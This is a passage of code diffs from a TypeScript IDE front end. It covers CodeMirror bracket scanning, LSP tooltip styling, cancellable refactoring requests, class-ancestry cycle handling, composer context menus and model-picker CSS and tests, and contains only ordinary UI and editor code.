return ranges;
|
||||
}
|
||||
|
||||
/**
|
||||
* Bracket scanner of one editor: keeps the checkpoints between rebuilds and
|
||||
* drops the ones after an edit (`invalidate`).
|
||||
@@ -153,17 +181,7 @@ export class BracketScanner {
|
||||
const base = s.pos;
|
||||
const text = doc.sliceString(base, Math.min(doc.length, chunkEnd + TOKEN_SLACK));
|
||||
const stop = chunkEnd - base;
|
||||
const skips: number[] = [];
|
||||
if (tree)
|
||||
tree.iterate({
|
||||
from: base,
|
||||
to: chunkEnd,
|
||||
enter: (n) => {
|
||||
if (!skipsNode(n.type)) return;
|
||||
skips.push(n.from - base, n.to - base);
|
||||
return false;
|
||||
},
|
||||
});
|
||||
const skips = tree ? literalRanges(tree, base, chunkEnd) : [];
|
||||
let k = 0;
|
||||
let i = 0;
|
||||
while (i < stop) {
|
||||
|
||||
@@ -1978,13 +1978,6 @@ export class EditorController implements SlotHost {
|
||||
return useTabs.getState().panes[paneId]?.tabs.find((t) => t.id === tabId)?.input ?? null;
|
||||
}
|
||||
|
||||
/** The pane showing a tab with this input key, if any (for anchoring "open beside it"). */
|
||||
paneOf(key: string): string | null {
|
||||
for (const [paneId, pane] of Object.entries(useTabs.getState().panes))
|
||||
if (pane.tabs.some((t) => t.input.key === key)) return paneId;
|
||||
return null;
|
||||
}
|
||||
|
||||
closePath(path: string): Promise<boolean> {
|
||||
return this.removeGuarded((s) => {
|
||||
const keys = new Set<string>();
|
||||
|
||||
@@ -56,7 +56,6 @@ export function activate(): void | (() => void) {
|
||||
openPaths: () => ctrl.openPaths(),
|
||||
openTabs: () => ctrl.openTabs(),
|
||||
tabInput: (paneId, tabId) => ctrl.tabInput(paneId, tabId),
|
||||
paneOf: (key) => ctrl.paneOf(key),
|
||||
activeInput: () => ctrl.activeInput(),
|
||||
onActiveInputChange: (fn) => ctrl.onActiveInputChange(fn),
|
||||
closePath: (path) => ctrl.closePath(path),
|
||||
|
||||
@@ -0,0 +1,27 @@
|
||||
import { afterEach, expect, it } from "vitest";
|
||||
import { EditorState } from "@codemirror/state";
|
||||
import { EditorView } from "@codemirror/view";
|
||||
import { lspTheme } from "./theme";
|
||||
|
||||
let view: EditorView | null = null;
|
||||
afterEach(() => {
|
||||
view?.destroy();
|
||||
view = null;
|
||||
});
|
||||
|
||||
it("draws the ⌘-hover info as a popup in a view without the editor theme", () => {
|
||||
// Diff viewers declare a dark theme and leave out the editor's `.cm-tooltip` rule.
|
||||
view = new EditorView({
|
||||
state: EditorState.create({ extensions: [EditorView.theme({}, { dark: true }), lspTheme] }),
|
||||
parent: document.body,
|
||||
});
|
||||
const info = document.createElement("div");
|
||||
info.className = "cm-tooltip cm-lsp-hover cm-lsp-nav-info";
|
||||
view.dom.appendChild(info);
|
||||
const style = getComputedStyle(info);
|
||||
expect(style.backgroundColor).toBe("var(--bg-popup)");
|
||||
expect(style.color).toBe("var(--fg)");
|
||||
expect(style.width).toBe("max-content");
|
||||
expect(style.borderRadius).toBe("var(--radius-popup-large)");
|
||||
expect(style.overflow).toBe("visible");
|
||||
});
|
||||
@@ -836,6 +836,7 @@ const linkField = StateField.define<LinkState | null>({
|
||||
return {
|
||||
pos: v.from,
|
||||
above: true,
|
||||
arrow: true,
|
||||
create: (view) => {
|
||||
const dom = document.createElement("div");
|
||||
dom.className = "cm-lsp-hover cm-lsp-nav-info";
|
||||
|
||||
@@ -328,7 +328,26 @@ export const lspTheme = EditorView.theme({
|
||||
backgroundImage:
|
||||
"linear-gradient(to right, transparent var(--lsp-occurrence-from), var(--lsp-occurrence-bg) var(--lsp-occurrence-from))",
|
||||
},
|
||||
".cm-lsp-nav-info": { padding: "4px 8px" },
|
||||
// IDEA's ⌘-hover hint: a rounded popup pointing at the word. Styled here in full, as diff
|
||||
// viewers lack the editor theme and would show CodeMirror's default tooltip. A few lines at
|
||||
// most, so no scrolling, which would clip the arrow.
|
||||
".cm-tooltip.cm-lsp-nav-info": {
|
||||
...tooltipSurface,
|
||||
borderRadius: "var(--radius-popup-large)",
|
||||
width: "max-content",
|
||||
maxWidth: "100%",
|
||||
maxHeight: "none",
|
||||
overflow: "visible",
|
||||
},
|
||||
".cm-lsp-nav-info .cm-lsp-code": { overflowWrap: "anywhere" },
|
||||
".cm-tooltip.cm-lsp-nav-info .cm-tooltip-arrow:before": {
|
||||
borderTopColor: "var(--border-popup)",
|
||||
borderBottomColor: "var(--border-popup)",
|
||||
},
|
||||
".cm-tooltip.cm-lsp-nav-info .cm-tooltip-arrow:after": {
|
||||
borderTopColor: "var(--bg-popup)",
|
||||
borderBottomColor: "var(--bg-popup)",
|
||||
},
|
||||
// Chooser highlight (tempHighlight.ts): the expression / occurrences a choice would take.
|
||||
".cm-lsp-chooser-highlight": { backgroundColor: "var(--bg-text-search-result)" },
|
||||
|
||||
|
||||
@@ -302,7 +302,8 @@ export async function ancestryResolution(
|
||||
cls: ClassInheritance,
|
||||
depth = 8,
|
||||
): Promise<AncestryResolution> {
|
||||
const seen = new Set<string>([declarationKey(cls)]);
|
||||
// `cls` itself is not pre-seen: a cycle lists it once as its own ancestor.
|
||||
const seen = new Set<string>();
|
||||
const out: AncestorNode[] = [];
|
||||
let firstUnresolvedDepth = Infinity;
|
||||
let level: ClassInheritance[] = [cls];
|
||||
@@ -316,7 +317,9 @@ export async function ancestryResolution(
|
||||
continue;
|
||||
}
|
||||
for (const parent of found) {
|
||||
if (!seen.add(declarationKey(parent))) continue;
|
||||
const key = declarationKey(parent);
|
||||
if (seen.has(key)) continue;
|
||||
seen.add(key);
|
||||
out.push({ decl: parent, depth: d });
|
||||
next.push(parent);
|
||||
}
|
||||
|
||||
@@ -123,7 +123,9 @@ export async function pythonDescendants(
|
||||
const next: ClassInheritance[] = [];
|
||||
for (const parent of level) {
|
||||
for (const sub of subclasses.get(declarationKey(parent)) ?? []) {
|
||||
if (!seen.add(declarationKey(sub))) continue;
|
||||
const key = declarationKey(sub);
|
||||
if (seen.has(key)) continue;
|
||||
seen.add(key);
|
||||
out.push(sub);
|
||||
next.push(sub);
|
||||
}
|
||||
|
||||
@@ -7,6 +7,7 @@ vi.mock("@/platform/ipc", async (original) => {
|
||||
});
|
||||
|
||||
const { cancellable } = await import("./signature");
|
||||
const { isCancelled } = await import("@/platform/ipc");
|
||||
|
||||
describe("cancellable refactoring requests", () => {
|
||||
it("cancels the request in flight when the dialog closes", async () => {
|
||||
@@ -30,4 +31,26 @@ describe("cancellable refactoring requests", () => {
|
||||
run.abort();
|
||||
expect(cancelRequest).not.toHaveBeenCalled();
|
||||
});
|
||||
|
||||
it("never sends a request the dialog closed before", async () => {
|
||||
const run = new AbortController();
|
||||
run.abort();
|
||||
const send = vi.fn(async () => "sent");
|
||||
const err = await cancellable(run.signal, send).catch((e: unknown) => e);
|
||||
expect(isCancelled(err)).toBe(true);
|
||||
expect(send).not.toHaveBeenCalled();
|
||||
});
|
||||
|
||||
it("tells the sender once the dialog closed after the request was handed over", async () => {
|
||||
const run = new AbortController();
|
||||
let wanted!: () => boolean;
|
||||
const reply = cancellable(run.signal, async (_id, w) => {
|
||||
wanted = w;
|
||||
return "sent";
|
||||
});
|
||||
expect(wanted()).toBe(true);
|
||||
run.abort();
|
||||
expect(wanted()).toBe(false);
|
||||
await reply;
|
||||
});
|
||||
});
|
||||
@@ -136,9 +136,10 @@ export async function extractInterface(
|
||||
for (;;) {
|
||||
await whenSynced(view);
|
||||
const token: string | null = confirmation;
|
||||
extracted = await cancellable(signal, (id) =>
|
||||
lspRequest(() =>
|
||||
commands.lspExtractInterface(id, request.doc, request.pos, [...members], name, pkg.json, token),
|
||||
extracted = await cancellable(signal, (id, wanted) =>
|
||||
lspRequest(
|
||||
() => commands.lspExtractInterface(id, request.doc, request.pos, [...members], name, pkg.json, token),
|
||||
wanted,
|
||||
),
|
||||
);
|
||||
if (signal?.aborted) return { status: "stay" };
|
||||
@@ -158,9 +159,9 @@ export async function extractInterface(
|
||||
const summary = summarizeWorkspaceEdit(edit);
|
||||
if (!summary.files) return { status: "stay", error: "Nothing to change" };
|
||||
const created = edit.files.find((f) => f.kind === "create")?.path;
|
||||
const apply = async () => {
|
||||
await applyEdit(view, edit);
|
||||
if (created) await editorService().openFile(created, { focus: true });
|
||||
const apply = async (cancel?: AbortSignal) => {
|
||||
await applyEdit(view, edit, cancel);
|
||||
if (created && !cancel?.aborted) await editorService().openFile(created, { focus: true });
|
||||
};
|
||||
if (preview) {
|
||||
openPopup({
|
||||
@@ -171,7 +172,7 @@ export async function extractInterface(
|
||||
onConfirm: () => void apply(),
|
||||
});
|
||||
} else {
|
||||
await apply();
|
||||
await apply(signal);
|
||||
}
|
||||
return { status: "done" };
|
||||
}
|
||||
@@ -15,7 +15,7 @@ import { showHint } from "@/editor/lsp/hint";
|
||||
import { openPopup } from "@/editor/lsp/popupStore";
|
||||
import { summarizeWorkspaceEdit } from "@/editor/lsp/workspaceEdit";
|
||||
import { tx } from "@/platform/i18n";
|
||||
import { commands, isCancelled, nextRequestId, unavailableText } from "@/platform/ipc";
|
||||
import { IpcError, commands, isCancelled, nextRequestId, unavailableText } from "@/platform/ipc";
|
||||
import { ask } from "@/workbench/messages";
|
||||
import { cannotPerform } from "./catalog";
|
||||
|
||||
@@ -129,22 +129,35 @@ export async function startChangeSignature(view: EditorView): Promise<void> {
|
||||
}
|
||||
}
|
||||
|
||||
export async function applyEdit(view: EditorView, edit: WorkspaceEdit) {
|
||||
export async function applyEdit(view: EditorView, edit: WorkspaceEdit, signal?: AbortSignal) {
|
||||
try {
|
||||
await whenAllSynced();
|
||||
await lspRequest(() => commands.applyWorkspaceEdit(edit));
|
||||
// The dialog closed while the editors were syncing: nothing is applied.
|
||||
if (signal?.aborted) return;
|
||||
await lspRequest(
|
||||
() => commands.applyWorkspaceEdit(edit),
|
||||
() => !signal?.aborted,
|
||||
);
|
||||
} catch (e) {
|
||||
reportLspError(view, e, true);
|
||||
}
|
||||
}
|
||||
|
||||
/** Sends `send(id)` with a fresh request id that `signal` cancels. */
|
||||
export async function cancellable<T>(signal: AbortSignal | undefined, send: (id: number) => Promise<T>): Promise<T> {
|
||||
/**
|
||||
* Sends `send(id, wanted)` with a fresh request id that `signal` cancels. `wanted` goes to
|
||||
* `lspRequest`, which syncs editors first: a dialog closed meanwhile never sends the request.
|
||||
*/
|
||||
export async function cancellable<T>(
|
||||
signal: AbortSignal | undefined,
|
||||
send: (id: number, wanted: () => boolean) => Promise<T>,
|
||||
): Promise<T> {
|
||||
// Closed before the request went out: it never does (a cancel can't reach an unsent request).
|
||||
if (signal?.aborted) throw new IpcError({ kind: "cancelled", message: "Cancelled" });
|
||||
const id = nextRequestId();
|
||||
const abort = () => void commands.cancelRequest(id);
|
||||
signal?.addEventListener("abort", abort);
|
||||
try {
|
||||
return await send(id);
|
||||
return await send(id, () => !signal?.aborted);
|
||||
} finally {
|
||||
signal?.removeEventListener("abort", abort);
|
||||
}
|
||||
@@ -182,8 +195,8 @@ export async function changeSignature(
|
||||
for (;;) {
|
||||
await whenSynced(view);
|
||||
const token: string | null = confirmation;
|
||||
changed = await cancellable(signal, (id) =>
|
||||
lspRequest(() => commands.lspChangeSignature(id, request.doc, request.pos, signature, delegate, token)),
|
||||
changed = await cancellable(signal, (id, wanted) =>
|
||||
lspRequest(() => commands.lspChangeSignature(id, request.doc, request.pos, signature, delegate, token), wanted),
|
||||
);
|
||||
if (signal?.aborted) return { status: "stay" };
|
||||
const fatal = changed.problems.find((p) => p.severity === "fatal");
|
||||
@@ -210,7 +223,7 @@ export async function changeSignature(
|
||||
onConfirm: () => void applyEdit(view, edit),
|
||||
});
|
||||
} else {
|
||||
await applyEdit(view, edit);
|
||||
await applyEdit(view, edit, signal);
|
||||
}
|
||||
return { status: "done" };
|
||||
}
|
||||
@@ -167,7 +167,6 @@ export function AgentsView() {
|
||||
const loaded = useAgents((s) => s.loaded);
|
||||
const error = useAgents((s) => s.error);
|
||||
const tasks = useAgents((s) => s.tasks);
|
||||
const ephemeral = useAgents((s) => s.ephemeral);
|
||||
const unread = useAgents((s) => s.unread);
|
||||
const providers = useAgents((s) => s.providers);
|
||||
const docked = useAgents((s) => s.docked);
|
||||
@@ -215,9 +214,7 @@ export function AgentsView() {
|
||||
return found;
|
||||
}, [tasks, query]);
|
||||
const roots = useMemo<Node[]>(() => {
|
||||
// Side conversations live beside the conversation they forked, never in this list.
|
||||
const listed = ephemeral.size ? new Map([...tasks].filter(([id]) => !ephemeral.has(id))) : tasks;
|
||||
const all = [...listed.values()].filter((t) => !matches || matches.has(t.id));
|
||||
const all = [...tasks.values()].filter((t) => !matches || matches.has(t.id));
|
||||
const pinned = pinnedMembers(all, organize);
|
||||
return [
|
||||
...(pinned.length ? [{ kind: "pinned", tasks: pinned } as Node] : []),
|
||||
@@ -227,7 +224,7 @@ export function AgentsView() {
|
||||
}),
|
||||
...groupTasks(ungroupedMembers(all, organize)).map((group): Node => ({ kind: "group", group })),
|
||||
];
|
||||
}, [tasks, organize, matches, ephemeral]);
|
||||
}, [tasks, organize, matches]);
|
||||
const expanded = useMemo(
|
||||
() => new Set(roots.map(nodeKey).filter((k) => matches || !collapsed.has(k))),
|
||||
[roots, collapsed, matches],
|
||||
|
||||
@@ -173,9 +173,6 @@
|
||||
.chipDetail > span {
|
||||
grid-area: 1 / 1;
|
||||
}
|
||||
.chipSizer {
|
||||
visibility: hidden;
|
||||
}
|
||||
.chipChevron {
|
||||
flex: none;
|
||||
color: var(--fg-muted);
|
||||
@@ -222,46 +219,38 @@
|
||||
color: var(--fg-muted);
|
||||
cursor: default;
|
||||
}
|
||||
.activeModelBar {
|
||||
/* The model popup's top: effort (and context size) as segmented controls. */
|
||||
.quickSettings {
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
gap: var(--space-1-5);
|
||||
padding: 4px 10px 10px;
|
||||
margin-bottom: 4px;
|
||||
border-bottom: 1px solid var(--border);
|
||||
}
|
||||
.quickRow {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
gap: var(--space-2);
|
||||
width: calc(100% - 12px);
|
||||
margin: 2px 6px 6px;
|
||||
padding: 6px 8px;
|
||||
border: 0;
|
||||
border-radius: var(--radius-control);
|
||||
background: var(--bg-elev);
|
||||
box-shadow: inset 0 0 0 1px var(--border);
|
||||
color: var(--fg-strong);
|
||||
text-align: left;
|
||||
cursor: pointer;
|
||||
transition: background var(--dur-fast) var(--ease);
|
||||
}
|
||||
.activeModelBar:hover,
|
||||
.activeModelBar:focus-visible {
|
||||
outline: none;
|
||||
background: var(--bg-hover);
|
||||
}
|
||||
.activeModelName {
|
||||
flex: 1 1 auto;
|
||||
.quickRow > .segmented {
|
||||
flex: 1;
|
||||
min-width: 0;
|
||||
overflow: hidden;
|
||||
text-overflow: ellipsis;
|
||||
white-space: nowrap;
|
||||
font-weight: 600;
|
||||
}
|
||||
.activeModelMeta {
|
||||
.quickLabel {
|
||||
flex: none;
|
||||
width: 52px;
|
||||
color: var(--fg-muted);
|
||||
font-size: var(--fs-small);
|
||||
}
|
||||
.activeModelGear {
|
||||
display: inline-flex;
|
||||
align-items: center;
|
||||
gap: var(--space-0-5);
|
||||
flex: none;
|
||||
color: var(--fg-muted);
|
||||
/* A model's configure button shows on its row's hover only. */
|
||||
.modelEffortPopup [role="option"] .modelRowConfigure {
|
||||
opacity: 0;
|
||||
}
|
||||
.modelEffortPopup [role="option"]:hover .modelRowConfigure,
|
||||
.modelEffortPopup [role="option"][aria-selected="true"] .modelRowConfigure,
|
||||
.modelEffortPopup .modelRowConfigure:focus-visible {
|
||||
opacity: 1;
|
||||
}
|
||||
.modelRowConfigure {
|
||||
display: grid;
|
||||
@@ -299,52 +288,9 @@
|
||||
color: var(--warning);
|
||||
}
|
||||
|
||||
/* Page 2: per-model configuration view. */
|
||||
.modelDetail {
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
gap: var(--space-3);
|
||||
padding: 6px 12px 8px;
|
||||
}
|
||||
.modelDetailHeader {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
gap: var(--space-1-5);
|
||||
}
|
||||
.modelDetailTitle {
|
||||
flex: 1 1 auto;
|
||||
min-width: 0;
|
||||
overflow: hidden;
|
||||
text-overflow: ellipsis;
|
||||
white-space: nowrap;
|
||||
color: var(--fg-strong);
|
||||
font-weight: 600;
|
||||
}
|
||||
.modelDetailActions {
|
||||
display: inline-flex;
|
||||
align-items: center;
|
||||
gap: var(--space-0-5);
|
||||
flex: none;
|
||||
}
|
||||
.pinnedButton {
|
||||
color: var(--accent);
|
||||
}
|
||||
.detailSection {
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
gap: var(--space-1-5);
|
||||
}
|
||||
.detailSectionLabel {
|
||||
color: var(--fg-strong);
|
||||
font-weight: 600;
|
||||
font-size: var(--fs-small);
|
||||
}
|
||||
.detailRow {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
justify-content: space-between;
|
||||
gap: var(--space-3);
|
||||
}
|
||||
.segmented {
|
||||
display: flex;
|
||||
align-items: stretch;
|
||||
@@ -384,84 +330,6 @@
|
||||
color: var(--fg-strong);
|
||||
font-weight: 600;
|
||||
}
|
||||
.costCard {
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
gap: var(--space-1);
|
||||
padding: 8px 10px;
|
||||
border-radius: var(--radius-popup);
|
||||
background: var(--bg-elev);
|
||||
box-shadow: inset 0 0 0 1px var(--border);
|
||||
}
|
||||
.costCardHeader {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
justify-content: space-between;
|
||||
gap: var(--space-2);
|
||||
}
|
||||
.costCardTitle {
|
||||
color: var(--fg-strong);
|
||||
font-weight: 600;
|
||||
font-size: var(--fs-small);
|
||||
}
|
||||
.costCardRow {
|
||||
display: flex;
|
||||
align-items: baseline;
|
||||
justify-content: space-between;
|
||||
gap: var(--space-3);
|
||||
color: var(--fg-secondary);
|
||||
font-size: var(--fs-small);
|
||||
}
|
||||
.costCardValue {
|
||||
color: var(--fg-strong);
|
||||
font-weight: 600;
|
||||
font-variant-numeric: tabular-nums;
|
||||
}
|
||||
.pricingCard {
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
border-radius: var(--radius-popup);
|
||||
background: var(--bg-elev);
|
||||
box-shadow: inset 0 0 0 1px var(--border);
|
||||
}
|
||||
.pricingHeader {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
gap: var(--space-1-5);
|
||||
width: 100%;
|
||||
padding: 8px 10px;
|
||||
border: 0;
|
||||
border-radius: inherit;
|
||||
background: transparent;
|
||||
color: var(--fg-strong);
|
||||
text-align: left;
|
||||
cursor: pointer;
|
||||
}
|
||||
.pricingHeader:hover,
|
||||
.pricingHeader:focus-visible {
|
||||
outline: none;
|
||||
background: var(--bg-hover);
|
||||
}
|
||||
.pricingChevron {
|
||||
flex: none;
|
||||
color: var(--fg-muted);
|
||||
}
|
||||
.pricingTitle {
|
||||
flex: 1 1 auto;
|
||||
font-weight: 600;
|
||||
font-size: var(--fs-small);
|
||||
}
|
||||
.pricingBody {
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
gap: var(--space-1);
|
||||
padding: 2px 12px 10px;
|
||||
}
|
||||
.pricingSubhead {
|
||||
margin-bottom: 2px;
|
||||
color: var(--fg-muted);
|
||||
font-size: var(--fs-small);
|
||||
}
|
||||
.modePopup {
|
||||
min-width: 200px;
|
||||
padding: 6px 0;
|
||||
@@ -561,9 +429,6 @@
|
||||
gap: 5px;
|
||||
white-space: nowrap;
|
||||
}
|
||||
.pickerName {
|
||||
color: var(--fg-subtle);
|
||||
}
|
||||
|
||||
/* Above the text: the current file to reference, attached files and images. */
|
||||
.context {
|
||||
|
||||
@@ -33,7 +33,9 @@ import {
|
||||
Icon,
|
||||
IconButton,
|
||||
List,
|
||||
Menu,
|
||||
Popup,
|
||||
type MenuItem,
|
||||
firstSelectable,
|
||||
listNavigate,
|
||||
fileIconName,
|
||||
@@ -141,6 +143,8 @@ export interface ComposerProps {
|
||||
toolbar?: ReactNode;
|
||||
/** Right of the bottom row: send / stop buttons. */
|
||||
actions?: ReactNode;
|
||||
/** Extra items for the Add Context menu, after the file and image items. */
|
||||
addMenu?: MenuItem[];
|
||||
className?: string;
|
||||
}
|
||||
|
||||
@@ -979,6 +983,18 @@ export function Composer(props: ComposerProps) {
|
||||
[id, projectRoot, root],
|
||||
);
|
||||
|
||||
const [addOpen, setAddOpen] = useState(false);
|
||||
const addAnchor = useRef<HTMLButtonElement>(null);
|
||||
const insertMention = () => {
|
||||
const view = viewRef.current;
|
||||
if (!view) return;
|
||||
// At the caret while typing, else after the text.
|
||||
const end = view.state.doc.length;
|
||||
const { from, to } = view.hasFocus ? view.state.selection.main : { from: end, to: end };
|
||||
const before = view.state.sliceDoc(Math.max(0, from - 1), from);
|
||||
replace(from, to, before && !/\s/.test(before) ? " @" : "@");
|
||||
view.focus();
|
||||
};
|
||||
const showContext = images.length > 0 || attached.length > 0 || !!suggested;
|
||||
|
||||
return (
|
||||
@@ -1107,14 +1123,23 @@ export function Composer(props: ComposerProps) {
|
||||
<Icon name={fileIconName(basename(suggested.rel), suggested.rel)} size={14} />
|
||||
<span className={styles.attachmentName}>{basename(suggested.rel)}</span>
|
||||
<span className={styles.suggestionHint}>{tx("Current File")}</span>
|
||||
{/* The chip is the IDE context switch: off here, back on from the dashed chip. */}
|
||||
<IconButton
|
||||
type="button"
|
||||
className={styles.removeChip}
|
||||
aria-label={tx("Don't Add the Current File")}
|
||||
onClick={() => setIdeContext(false)}
|
||||
icon="close"
|
||||
size="small"
|
||||
/>
|
||||
</span>
|
||||
)}
|
||||
{suggested && !ideContext && (
|
||||
<button
|
||||
type="button"
|
||||
className={styles.suggestion}
|
||||
title={tx`Reference ${suggested.rel}`}
|
||||
onClick={() => addPaths([suggested.path])}
|
||||
title={tx`Add ${suggested.rel} and the selection to your requests`}
|
||||
onClick={() => setIdeContext(true)}
|
||||
>
|
||||
<Icon name="plus" size={12} />
|
||||
<Icon name={fileIconName(basename(suggested.rel), suggested.rel)} size={14} />
|
||||
@@ -1126,7 +1151,7 @@ export function Composer(props: ComposerProps) {
|
||||
<span key={file.path} className={styles.attachment} title={file.path}>
|
||||
<Icon name={fileIconName(file.rel, file.path)} size={14} />
|
||||
<span className={styles.attachmentName}>{file.rel}</span>
|
||||
<button
|
||||
<IconButton
|
||||
type="button"
|
||||
className={styles.removeChip}
|
||||
aria-label={tx("Remove File")}
|
||||
@@ -1135,9 +1160,9 @@ export function Composer(props: ComposerProps) {
|
||||
files: composerDraft(id).files.filter((f) => f.path !== file.path),
|
||||
})
|
||||
}
|
||||
>
|
||||
<Icon name="close" size={10} />
|
||||
</button>
|
||||
icon="close"
|
||||
size="small"
|
||||
/>
|
||||
</span>
|
||||
))}
|
||||
{images.map((img, i) => (
|
||||
@@ -1145,7 +1170,7 @@ export function Composer(props: ComposerProps) {
|
||||
<button type="button" className={styles.previewImage} onClick={() => setPreview(img)}>
|
||||
<img src={imageSrc(img)} alt={img.name ?? tx("Image")} />
|
||||
</button>
|
||||
<button
|
||||
<IconButton
|
||||
type="button"
|
||||
className={styles.removeImage}
|
||||
aria-label={tx("Remove Image")}
|
||||
@@ -1154,9 +1179,9 @@ export function Composer(props: ComposerProps) {
|
||||
images: images.filter((_, j) => j !== i),
|
||||
})
|
||||
}
|
||||
>
|
||||
<Icon name="close" size={10} />
|
||||
</button>
|
||||
icon="close"
|
||||
size="small"
|
||||
/>
|
||||
</span>
|
||||
))}
|
||||
<ImagePreview image={preview} onClose={() => setPreview(null)} />
|
||||
@@ -1167,35 +1192,25 @@ export function Composer(props: ComposerProps) {
|
||||
<div className={styles.toolbar}>{props.toolbar}</div>
|
||||
<div className={styles.actions}>
|
||||
<IconButton
|
||||
icon="paperclip"
|
||||
title="Reference a File (@)"
|
||||
ref={addAnchor}
|
||||
icon="plus"
|
||||
title="Add Context"
|
||||
aria-haspopup="menu"
|
||||
aria-expanded={addOpen}
|
||||
className={styles.composerButton}
|
||||
onClick={() => {
|
||||
const view = viewRef.current;
|
||||
if (!view) return;
|
||||
// At the caret while typing, else after the text.
|
||||
const end = view.state.doc.length;
|
||||
const { from, to } = view.hasFocus ? view.state.selection.main : { from: end, to: end };
|
||||
const before = view.state.sliceDoc(Math.max(0, from - 1), from);
|
||||
replace(from, to, before && !/\s/.test(before) ? " @" : "@");
|
||||
}}
|
||||
onClick={() => setAddOpen((v) => !v)}
|
||||
/>
|
||||
<IconButton
|
||||
icon="file-code"
|
||||
title={
|
||||
ideContext
|
||||
? "IDE Context Enabled: the current file and selection are added to your request"
|
||||
: "IDE Context Disabled: the current file and selection are not added to your request"
|
||||
}
|
||||
pressed={ideContext}
|
||||
className={styles.composerButton}
|
||||
onClick={() => setIdeContext(!ideContext)}
|
||||
/>
|
||||
<IconButton
|
||||
icon="image"
|
||||
title="Attach Image…"
|
||||
className={styles.composerButton}
|
||||
onClick={() => imageInput.current?.click()}
|
||||
<Menu
|
||||
open={addOpen}
|
||||
anchor={addAnchor}
|
||||
placement="bottom-end"
|
||||
onClose={() => setAddOpen(false)}
|
||||
aria-label="Add Context"
|
||||
items={[
|
||||
{ id: "reference", label: "Reference a File (@)", icon: "paperclip", run: insertMention },
|
||||
{ id: "image", label: "Attach Image…", icon: "image", run: () => imageInput.current?.click() },
|
||||
...(props.addMenu ?? []),
|
||||
]}
|
||||
/>
|
||||
<input
|
||||
ref={imageInput}
|
||||
|
||||
@@ -273,15 +273,19 @@ describe("model and effort button", () => {
|
||||
},
|
||||
];
|
||||
|
||||
it("shows the model with the agent's effort name and the mode with Allow All", () => {
|
||||
render(<ConfigPickers config={copilotConfig()} onChange={vi.fn()} />);
|
||||
const model = screen.getByRole("button", { name: "Model" });
|
||||
expect(model).toHaveTextContent("Claude Sonnet 5.5medium");
|
||||
it("shows the effort as its own picker beside the model, and the mode with Allow All", () => {
|
||||
const onChange = vi.fn();
|
||||
render(<ConfigPickers config={copilotConfig()} onChange={onChange} />);
|
||||
expect(screen.getByRole("button", { name: "Model" })).toHaveTextContent("Claude Sonnet 5.5");
|
||||
expect(screen.getByRole("button", { name: "Mode" })).toHaveTextContent("AgentAllow All");
|
||||
expect(screen.queryByRole("button", { name: "Reasoning Effort" })).not.toBeInTheDocument();
|
||||
const effort = screen.getByRole("button", { name: "Reasoning Effort" });
|
||||
expect(effort).toHaveTextContent("medium");
|
||||
fireEvent.click(effort);
|
||||
fireEvent.click(screen.getByRole("option", { name: "XHigh" }));
|
||||
expect(onChange).toHaveBeenCalledExactlyOnceWith("reasoning_effort", "xhigh");
|
||||
});
|
||||
|
||||
it("tucks Fast into the model popup with effort", () => {
|
||||
it("tucks Fast into the model popup", () => {
|
||||
const config = [
|
||||
...copilotConfig().filter((o) => o.category !== "thought_level"),
|
||||
{
|
||||
@@ -297,23 +301,21 @@ describe("model and effort button", () => {
|
||||
render(<ConfigPickers config={config} onChange={vi.fn()} />);
|
||||
expect(screen.queryByRole("switch", { name: "Fast" })).not.toBeInTheDocument();
|
||||
fireEvent.click(screen.getByRole("button", { name: "Model" }));
|
||||
const dialog = screen.getByRole("dialog", { name: "Model & effort settings" });
|
||||
const dialog = screen.getByRole("dialog", { name: "Model" });
|
||||
expect(within(dialog).getByRole("switch", { name: "Fast" })).toHaveAttribute("aria-checked", "false");
|
||||
});
|
||||
|
||||
it("navigates to the detail page for segmented effort, Reset, Pin, and cost badge", () => {
|
||||
it("lists models by name in one page, with context size, cost and pinning", () => {
|
||||
const onChange = vi.fn();
|
||||
const cfg = copilotConfig().map((o) =>
|
||||
o.id === "model"
|
||||
? {
|
||||
...o,
|
||||
values: o.values.map((v) =>
|
||||
v.value === "claude-sonnet-5.5" ? { ...v, costCategory: "medium", usageMultiplier: "1x" } : v,
|
||||
v.value === "claude-sonnet-5.5" ? { ...v, costCategory: "medium", description: "Balanced" } : v,
|
||||
),
|
||||
}
|
||||
: o.id === "reasoning_effort"
|
||||
? { ...o, defaultValue: "medium" }
|
||||
: o,
|
||||
: o,
|
||||
);
|
||||
cfg.push({
|
||||
id: "contextTier",
|
||||
@@ -325,106 +327,37 @@ describe("model and effort button", () => {
|
||||
via: "option",
|
||||
values: [value("default", "200K"), value("long_context", "1M")],
|
||||
});
|
||||
render(<ConfigPickers config={cfg} values={{ reasoning_effort: "high" }} onChange={onChange} />);
|
||||
expect(screen.getByRole("button", { name: "Model" })).toHaveTextContent("Claude Sonnet 5.5high · 1M");
|
||||
render(<ConfigPickers config={cfg} onChange={onChange} />);
|
||||
expect(screen.getByRole("button", { name: "Model" })).toHaveTextContent("Claude Sonnet 5.51M");
|
||||
|
||||
fireEvent.click(screen.getByRole("button", { name: "Model" }));
|
||||
const dialog = screen.getByRole("dialog", { name: "Model & effort settings" });
|
||||
const dialog = screen.getByRole("dialog", { name: "Model" });
|
||||
expect(within(dialog).queryByText("Balanced")).not.toBeInTheDocument();
|
||||
expect(within(dialog).getByText("Medium cost")).toBeVisible();
|
||||
|
||||
// Pick another model directly from Page 1.
|
||||
fireEvent.click(within(dialog).getByRole("option", { name: /GPT-6 Sol/ }));
|
||||
expect(onChange).toHaveBeenCalledWith("model", "gpt-6-sol");
|
||||
|
||||
// Open Page 2 (detail configuration view) for the active model.
|
||||
fireEvent.click(within(dialog).getByRole("button", { name: "Configure model" }));
|
||||
const effortGroup = within(dialog).getByRole("radiogroup", { name: "Reasoning Effort" });
|
||||
expect(within(effortGroup).getByRole("radio", { name: "high" })).toHaveAttribute("aria-checked", "true");
|
||||
fireEvent.click(within(effortGroup).getByRole("radio", { name: "XHigh" }));
|
||||
expect(onChange).toHaveBeenCalledWith("reasoning_effort", "xhigh");
|
||||
|
||||
